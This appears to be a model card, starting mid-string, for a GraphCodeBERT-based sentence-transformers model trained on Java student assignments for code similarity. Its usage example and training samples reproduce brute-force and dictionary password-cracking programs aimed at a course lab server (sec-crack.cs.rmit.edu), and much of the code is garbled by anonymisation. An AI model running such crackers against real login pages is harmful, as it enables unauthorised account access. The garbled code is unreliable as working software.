\ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\
\ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \
\ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\
\ file.delete();\n String ;\n\n try\n {\n fout2\
\ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\
\ }\n catch (IOException ioe)\n {\n System.out.println(\"\
IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \
\ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\
\ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \
\ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\
\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\
\ BufferedReader buf2;\n\n try\n {\n \
\ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\
\ BufferedReader(fRead2);\n String line2;\n int\
\ i=0;\n\n line = new String(\" some changes the web as followed:\
\ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\
, 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \
\ send(null);\n send(\"HELO cs.rmit.edu.\");\n \
\ send(\"MAIL FROM: @.rmit.edu.\");\n \n \
\ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \
\ \n\n while( (line2 = buf2.readLine()) != null)\n \
\ {\n \n line= new String(\"\"+line2+\"\\n\");\n \
\ \n \n\n }\n \
\ \n \n \n out2.print();\n \
\ send(\".\");\n s.print();\n }\n \
\ catch(FileNotFoundException e)\n {\n System.out.println(\"\
File not found\");\n }\n catch(IOException ioe)\n \
\ {\n System.out.println(\"IO Error \" + ioe);\n \
\ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\
\ \n System.err.print(loadStream(ps.getErrorStream()));\n \
\ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\
\ }\n }\n\n public void send(String s) throws IOException\n {\n\
\ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \
\ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\
\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}"
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\
\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\
\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\
\ String line =\"\";\n \n if (args.length == 0) {\n \t\n \
\ System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\"\
);\n return;\n \t\n }\n \n String username = args[0];\n\
\ \n \n t0=System.currentTimeMillis();\n \n System.out.println\
\ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\
\ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\
\ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\
\ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\
\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \
\ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds\");\n \n System.out.println (\"Finish\
\ \" + new Date());\n \n \treturn;\n\n \
\ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\
System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\
\ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\
\ public Dictionary (String password,String username) {\n\n \t String urlString\
\ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \
\ String userPassword = username+\":\"+password ;\n\n String encoding\
\ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\
\ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\
import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\
\ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\
\ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\
\ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\
;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\
\ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\
\ while (!loggedout){\n \n currentPage=\"\";\n \n \n \
\ Date date = new Date();\n startTime=date.getTime();\n \n \
\ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\
\ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\
\ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\
\ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\
\ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \
\ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \
\ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\
\ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\
\ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\
\ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\
if (checkCurrentPage.length()<checkLastPage.length()) {\n iterations\
\ = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n\
\ iterations = checkLastPage.length();\n\t lastLongestString = false;\n\
\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean\
\ add=false;\n\tString subtractions = \"Here the parts removed from the : \\\
n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n\
\ \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\
\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\
\ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\
\ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\
\ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\
\ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\
\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\
iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\
\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\
\ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\
\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\
\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\
\ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\
\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \
\ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \
\ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\
\ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\
\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\
\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\
\ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\
\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\
\ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\
\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \
\ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\
\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\
\ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\
\ \n writeData(currentPage);\n \n \n wait24(startTime);\n\
\ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\
\ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \
\ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\
\ \n waiting=false;\n }\t\n }\n } \n \n \n public\
\ static String readData() {\n String data;\n String lastPage=\"\";\n \
\ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\
));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\
\ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\
\ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\
IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\
\ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\
\ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\
\ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\
\ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\
\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\
);\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\
);\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\
\ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\
\ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\
\ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\
\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\
\ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\
\ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\
\ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\
\ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\
r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \
\ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\
\ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\
\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\
: <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\
);\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\
r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\
\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\
Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\
\ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\
\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\
\ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\
Host unknown\"); \n }\n } \n \n} \n\n\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/graphcodebert-base
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base) <!-- at revision 2b0488a7bb0eefc7041f1bb2cad1ab26b0da269d -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n else\n System.out.println("NOT FOUND!");\n\t}\n}',
'\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println("Error: " + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + " is not a parseable URL");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff("@.rmit.edu.");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = "diff test1.txt test2.txt";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File("diff.txt");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream("diff.txt",true);\n printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+"\\n");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader("diff.txt");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(" some changes the web as followed: \\n");\n \n Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send("HELO cs.rmit.edu.");\n send("MAIL FROM: @.rmit.edu.");\n \n send("RCPT : @.rmit.edu.");\n send("DATA");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(""+line2+"\\n");\n \n \n\n }\n \n \n \n out2.print();\n send(".");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("File not found");\n }\n catch(IOException ioe)\n {\n System.out.println("IO Error " + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + "\\n");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}',
'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password="";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n String line ="";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t"Usage : java BruteForce <username>");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (" " + new Date());\n System.out.println ("Using Dictionary method attack "+username+"\'s password. Please waiting.......");\n\n try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n \n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(" not find the password");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### Unnamed Dataset
* Size: 33,411 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | sentence_0 | sentence_1 | label |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 61 tokens</li><li>mean: 478.83 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 61 tokens</li><li>mean: 490.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |
* Samples:
| sentence_0 | sentence_1 | label |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class sendMail {<br><br>public void sendMail(String mailServer, String recipient, String result) {<br> try {<br> Socket s = new Socket(mailServer, 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO client");<br><br> send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");<br> send(in, out, "RCPT : " + recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: ");<br> send(out, "From: Admin <WatchDog@SecureECommerce.>");<br> send (out, "\n");<br> <br> send(out, result);<br> send(out, "\n.\n");<br> send(in, out, "QUIT");<br><br> }<br> catch (Exception e) {<br> e.printStackTrace();<br> }<br> }<br><br> public void send(BufferedReader in, BufferedWriter out, String s) {<br> try {<br> out.write(s + "\n");<br> out.flush();<br> Sys...</code> | <code><br><br><br>import java.io.*;<br>import java.util.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br><br> static Process p = null;<br> static Process qproc = null;<br><br> static BufferedReader bf = null;<br> static StringTokenizer tok = null;<br><br> static String Path = null;<br> static String str = null;<br> static String urlStr=null;<br> static boolean changed = false;<br><br> static File indexfile = new File("index.html");<br> static File tmpfile = new File("tmpindex.html");<br> static File mdfile = new File("md5file.txt");<br> static File tmpmdfile = new File("tmpmd5file.txt");<br> static PrintWriter mailwriter = null;<br><br><br> public static void main(String[] args) <br> {<br><br> urlStr = "http://www.cs.rmit.edu./";<br><br> try<br> {<br> <br> mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));<br><br> getLatest(urlStr);<br> parseFile(); <br><br> mailwriter.read();<br><br> if(changed)<br> {<br> System.out.println("Sending Mail");<br> ...</code> | <code>0</code> |
| <code><br>import java.io.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> private String myUsername = "";<br> private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";<br> private int NUM_CHARS = 52;<br><br><br> public static void main(String args[])<br> {<br> BruteForce bf = new BruteForce();<br> }<br><br><br> public BruteForce()<br> {<br> generatePassword();<br> }<br><br><br> <br><br> public void generatePassword()<br> {<br> int index1 = 0, index2, index3;<br><br> char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',<br> 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',<br> 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',<br> 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',<br> 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',<br> 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };<br><br><br> while(index1 < NUM_CHARS)<br> {<br> index2 = 0;<br><br> while(index2 < NUM_CHARS)<br> {<br> ...</code> | <code><br><br><br><br>public class HoldSharedData<br>{<br> private int numOfConnections = 0;<br> private int startTime;<br> private int totalTime = 0;<br> private String[] password;<br> private int pwdCount;<br><br> public HoldSharedData( int time, String[] pwd, int count )<br> {<br> startTime = time;<br><br> password = pwd;<br> pwdCount = count;<br> }<br><br> public int getPwdCount()<br> {<br> return pwdCount;<br> }<br><br> public void setNumOfConnections( )<br> {<br> numOfConnections ++;<br> }<br><br> public int getNumOfConnections()<br> {<br> return numOfConnections;<br> }<br><br> public int getStartTime()<br> {<br> return startTime;<br> }<br><br> public void setTotalTime( int newTotalTime )<br> {<br> totalTime = newTotalTime;<br> }<br><br> public int getTotalTime()<br> {<br> return totalTime;<br> }<br><br> public String getPasswordAt( int index )<br> {<br> return password[index];<br> }<br>} <br></code> | <code>0</code> |
| <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class sendMail {<br><br>public void sendMail(String mailServer, String recipient, String result) {<br> try {<br> Socket s = new Socket(mailServer, 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO client");<br><br> send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");<br> send(in, out, "RCPT : " + recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: ");<br> send(out, "From: Admin <WatchDog@SecureECommerce.>");<br> send (out, "\n");<br> <br> send(out, result);<br> send(out, "\n.\n");<br> send(in, out, "QUIT");<br><br> }<br> catch (Exception e) {<br> e.printStackTrace();<br> }<br> }<br><br> public void send(BufferedReader in, BufferedWriter out, String s) {<br> try {<br> out.write(s + "\n");<br> out.flush();<br> Sys...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class Base64Encoder<br>{<br> private final static char base64Array [] = {<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',<br> 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',<br> 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',<br> 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',<br> 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',<br> 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',<br> 'w', 'x', 'y', 'z', '0', '1', '2', '3',<br> '4', '5', '6', '7', '8', '9', '+', '/'<br> };<br><br> public static String encode (String string)<br> {<br> String encodedString = "";<br> byte bytes [] = string.getBytes ();<br> int i = 0;<br> int pad = 0;<br> while (i < bytes.length)<br> {<br> byte b1 = bytes [i++];<br> byte b2;<br> byte b3;<br> if (i >= bytes.length)<br> {<br> b2 = 0;<br> b3 = 0;<br> pad = 2;<br> }<br> else<br> {<br> b2 = bytes [i++];<br> if (i >= bytes.length)<br>...</code> | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `multi_dataset_batch_sampler`: round_robin
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
